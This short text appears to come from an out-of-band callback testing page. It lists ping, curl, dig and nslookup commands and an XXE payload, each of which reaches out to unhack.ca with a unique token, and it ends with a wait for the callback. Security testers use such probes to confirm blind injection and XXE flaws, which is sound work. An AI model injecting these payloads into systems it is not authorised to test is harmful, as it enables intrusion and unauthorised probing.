$ ping -c1 -p 00b68264f43aa14da9f9a6a4a5869f00 unhack.ca
 
$ curl http://unhack.ca/p/b68264f43aa14da9f9a6a4a5869f
 
$ dig b68264f43aa14da9f9a6a4a5869f @unhack.ca
 
$ dig b68264f43aa14da9f9a6a4a5869f.ns.unhack.ca
 
C:\> nslookup b68264f43aa14da9f9a6a4a5869f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b68264f43aa14da9f9a6a4a5869f">]>
    <foo>&xxe;</foo>
Waiting for ping...